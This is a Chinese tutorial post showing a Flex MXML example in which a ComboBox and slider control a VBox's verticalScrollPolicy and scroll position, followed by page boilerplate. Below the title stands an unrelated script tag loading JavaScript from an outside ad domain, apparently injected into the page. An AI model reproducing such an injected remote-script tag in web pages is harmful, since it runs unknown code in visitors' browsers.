Flex中如何通过verticalScrollPolicy属性,控制VBox容器内容超过容器大小时滚动条自动显示与否

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

 main.mxml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
  3.         layout="vertical"
  4.         verticalAlign="middle"
  5.         backgroundColor="white">
  6.  
  7.     <mx:Script>
  8.         <![CDATA[
  9.             private function updateScrollPosition():void {
  10.                 vSP.text = vBox.verticalScrollPosition.toString();
  11.                 mVSP.text = vBox.maxVerticalScrollPosition.toString();
  12.             }
  13.         ]]>
  14.     </mx:Script>
  15.  
  16.     <mx:Style>
  17.         VBox {
  18.             paddingLeft: 10;
  19.             paddingRight: 10;
  20.             paddingTop: 10;
  21.             paddingBottom: 10;
  22.         }
  23.     </mx:Style>
  24.  
  25.     <mx:ApplicationControlBar dock="true">
  26.         <mx:Form>
  27.             <mx:FormItem label="verticalScrollPolicy:">
  28.                 <mx:ComboBox id="comboBox">
  29.                     <mx:dataProvider>
  30.                         <mx:Array>
  31.                             <mx:Object label="auto" />
  32.                             <mx:Object label="on" />
  33.                             <mx:Object label="off" />
  34.                         </mx:Array>
  35.                     </mx:dataProvider>
  36.                 </mx:ComboBox>
  37.             </mx:FormItem>
  38.             <mx:FormItem label="height:">
  39.                 <mx:HSlider id="slider"
  40.                         minimum="50"
  41.                         maximum="300"
  42.                         value="50"
  43.                         liveDragging="true"
  44.                         snapInterval="1"
  45.                         tickInterval="50" />
  46.             </mx:FormItem>
  47.             <mx:FormItem label="verticalScrollPosition:">
  48.                 <mx:Label id="vSP" />
  49.             </mx:FormItem>
  50.             <mx:FormItem label="maxVerticalScrollPosition:">
  51.                 <mx:Label id="mVSP" />
  52.             </mx:FormItem>
  53.         </mx:Form>
  54.     </mx:ApplicationControlBar>
  55.  
  56.     <mx:VBox id="vBox"
  57.             verticalScrollPolicy="{comboBox.selectedItem.label}"
  58.             backgroundColor="haloSilver"
  59.             width="200"
  60.             height="200"
  61.             updateComplete="updateScrollPosition();"
  62.             creationComplete="updateScrollPosition();">
  63.         <mx:Box id="box"
  64.                 backgroundColor="haloBlue"
  65.                 width="100%"
  66.                 height="{slider.value}" />
  67.     </mx:VBox>
  68.  
  69. </mx:Application>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值